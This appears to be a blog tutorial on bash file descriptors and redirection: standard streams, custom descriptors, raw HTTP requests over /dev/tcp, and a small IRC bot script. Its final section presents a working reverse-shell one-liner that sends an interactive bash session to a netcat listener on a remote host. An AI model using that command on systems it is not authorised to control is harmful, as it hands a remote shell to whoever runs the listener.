Generally, a file descriptor is an index for an entry in a kernel-resident data structure containing the details of all open files. In Linux you manipulate files based on their descriptors.
The File descriptor is an integer that correspondents to the opened data stream.
When a program starts, three descriptors are opened for I/O:
0 - input
1 - output
2 - error output
To demonstrate how these works let's create the following simple script:
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[user@server1~]$ cat test.sh | |
#!/bin/bash | |
echo TEST | |
cat /etc/shadow |
And let's run it as a regular use:
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[user@server1~]$ ./test.sh | |
TEST | |
cat: /etc/shadow: Permission denied |
As you can see we got the string "TEST" as well as an error message.
All error messages in Linux are associated with the error file descriptor with an id of 2 and all non-error output with the id of 1.
We can use simple redirects to change the output.
Let's redirect the standard out, which in the previous example printed the TEST string to /dev/null:
1b80c1dd55c520e6ea0b
Since we redirected the standard out to /dev/null only the error is printed. If we don't want to see the error we can redirect it to /dev/null instead:
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[user@server1~]$ ./test.sh 2>/dev/null | |
TEST |
Or if we don't want any output at all we can do this in the following ways:
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[user@server1~]$ ./test.sh 1>/dev/null 2>/dev/null | |
[user@server1~]$ ./test.sh &>/dev/null | |
[user@server1~]$ ./test.sh >/dev/null 2>&1 |
In the first example we redirect both standard out and error explicitly.
In the second example &> accomplishes the same result, saving us some typing.
And in the third example we redirect standard out first to /dev/null and then redirect error to standard output, which already points to /dev/null.
Now that we know how redirects work, lets create a stream to a file:
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[user@server1~]$ exec 3<>testfile | |
[user@server1~]$ echo "TEST" 1>&3 | |
[user@server1~]$ exec 3<&- |
Line 1 creates a new file descriptor with id of 3 in the current shell (hence the exec) and redirects all input and output to the file testfile.
Line 2 echoes TEST and redirects the standard out (id 1) to descriptor 3, which already points to the testfile.
Line 3 closes the file descriptor.
If we cat the testfile we should see the TEST string:
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[user@server1~]$ cat testfile | |
TEST |
We can redirect the new file descriptor (id 3) to standard input (id 0) and be able to read the content of the testfile that way:
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[user@server1~]$ exec 3<>testfile | |
[user@server1~]$ read 0<&3 | |
[user@server1~]$ echo $REPLY | |
TEST | |
[user@server1~]$ exec 3<&- |
By using redirects in this way we can actually use the two "special files" that the kernel provides:
/dev/tcp/host/port - If host is a valid hostname or Internet address, and port is an integer port number or service name, bash attempts to open a TCP connection to the corresponding socket.
/dev/udp/host/port - If host is a valid hostname or Internet address, and port is an integer port number or service name, bash attempts to open a UDP connection to the corresponding socket.
We can connect to a web server using it's IP address and port, and send a HTTP get request and then read the result by doing:
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[user@server1~]$ exec 3<>/dev/tcp/74.125.225.65/80 | |
[user@server1~]$ echo "GET /index.html HTTP/1.0" 1>&3 | |
[user@server1~]$ echo 1>&3 | |
[user@server1~]$ while read 0<&3; do echo $REPLY; done | |
HTTP/1.0 200 OK | |
Set-Cookie: NID=60=ZrRTtnYFa_Iit1ZoHtYjCYZecddEeSF8q5hyYJAcryFTy-MEStcqEvrRMhB5yuFGK6D7QXEqNoIRobi6e-0WotPoLrwIe_TMk_xeYOT7Iz3SKxAhP-M-tppYXFojPdPZ; expires=Tue, 18-Dec-2012 18:10:24 GMT; path=/; domain=.google.com; HttpOnly | |
Date: Mon, 18 Jun 2012 18:10:24 GMT | |
Expires: -1 | |
Cache-Control: private, max-age=0 | |
Content-Type: text/html; charset=ISO-8859-1 | |
Set-Cookie: PREF=ID=79667b1ad7f585e4:FF=0:TM=1340043024:LM=1340043024:S=cYui_LvplKvceBmv; expires=Wed, 18-Jun-2014 18:10:24 GMT; path=/; domain=.google.com | |
Set-Cookie: NID=60=I1tj72lu6RnMXc8Rs2xuoJPu4c09a3cAt-9KyptvBByHhz23VVG6d0vYB_9J-Y2yjCvTA82OPNpX4GOH7rCgYYhwQNGyTrmovtXaMY_3nW8Rwha0gwU285kZFhVRBxft; expires=Tue, 18-Dec-2012 18:10:24 GMT; path=/; domain=.google.com; HttpOnly | |
P3P: CP="This is not a P3P policy! See http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info." | |
Server: gws | |
X-XSS-Protection: 1; mode=block | |
X-Frame-Options: SAMEORIGIN | |
<!doctype html> | |
... | |
[user@server1~]$ exec 3<&- |
This will fetch index.html from google.com.
Here's an example of a simple bash IRC bot, that joins a channel and responds to few commands using streams and redirects:
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
chan="#somechannel" | |
mode="+i" | |
nick="SimpleBashBot" | |
name="Simple Information Bot" | |
host="$1" | |
port="$2" | |
help() | |
{ | |
echo "PRIVMSG $REPLYTO :==========================================" | |
echo "PRIVMSG $REPLYTO :Available bot commands:" | |
echo "PRIVMSG $REPLYTO :==========================================" | |
echo "PRIVMSG $REPLYTO :!help: This List" | |
echo "PRIVMSG $REPLYTO :!command1: Command 1" | |
echo "PRIVMSG $REPLYTO :!command2: Command 2" | |
echo "PRIVMSG $REPLYTO :==========================================" | |
} | |
command1() | |
{ | |
echo "PRIVMSG $REPLYTO :Command1 Invoked" | |
} | |
command2() | |
{ | |
echo "PRIVMSG $REPLYTO :Command2 Invoked" | |
} | |
exec 3<> irc-errors 2>&3- | |
if [ ! "$2" ]; then | |
echo "usage: `basename $0` [hostname] [port]" | |
exit 1 | |
fi | |
echo -n "Connecting to $host on port $port ... " | |
if ! exec 3<> /dev/tcp/$host/$port; then | |
echo "`basename $0`: unable to connect to $host:$port" | |
exit 1 | |
fi | |
echo "Done" | |
exec 0<&3 1>&3- | |
echo "USER $nick ${mode:-+iw} $nick :$name" | |
echo "NICK $nick" | |
sleep 5 | |
echo "JOIN $chan" | |
while read; do | |
# The received private or channel message format is: | |
# $1 $2 $3 $4 | |
# :Konstantin!Konstantin@6cm.6df.5t95an.IP PRIVMSG testBot :!help | |
# :Konstantin!Konstantin@6cm.6df.5t95an.IP PRIVMSG #botschool :!help | |
set -- ${REPLY//$'\r'/} | |
[ "$1" == "PING" ] && echo "PONG $2" | |
echo "$REPLY" >> /tmp/irc.log | |
REQUEST=$4 | |
# Reply either in channel or in private | |
if [ "$3" == "$nick" ] | |
then | |
REPLYTO=$(echo $1 | cut -d':' -f2 | cut -d'!' -f1) | |
else | |
REPLYTO=$chan | |
fi | |
case $REQUEST in | |
":!help") | |
help | |
;; | |
":!command1") | |
command1 | |
;; | |
":!command2") | |
command2 | |
;; | |
esac | |
done | |
exec 1<&- 2<&- |
Yet another example of using redirects is the following scenario:
Let's say you have a server behind a NAT that you want to access from the Internet. There are many ways of doing this involving, port forwarding, or ssh tunnels, but I'll demonstrate exporting /bin/bash and using the /dev/tcp file system I've mentioned earlier.
1. On a server that is publicly accessible start netcat in listening mode on a port:
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[user@server1~]$ nc -l 6565 -n -vv |
2. On the server behind the NAT export bash to the netcat server:
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[user@server2~]$ /bin/bash -i > /dev/tcp/123.123.123.123/6565 0<&1 2>&1 |
On your server running nc you'll now have a bash prompt waiting for you to use (notice the change of the hostname in the prompt).
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[user@server1~]$ nc -l 6565 -n -vv | |
Connection from 222.222.222.222 port 6565 [tcp/*] accepted | |
[user@server2~] |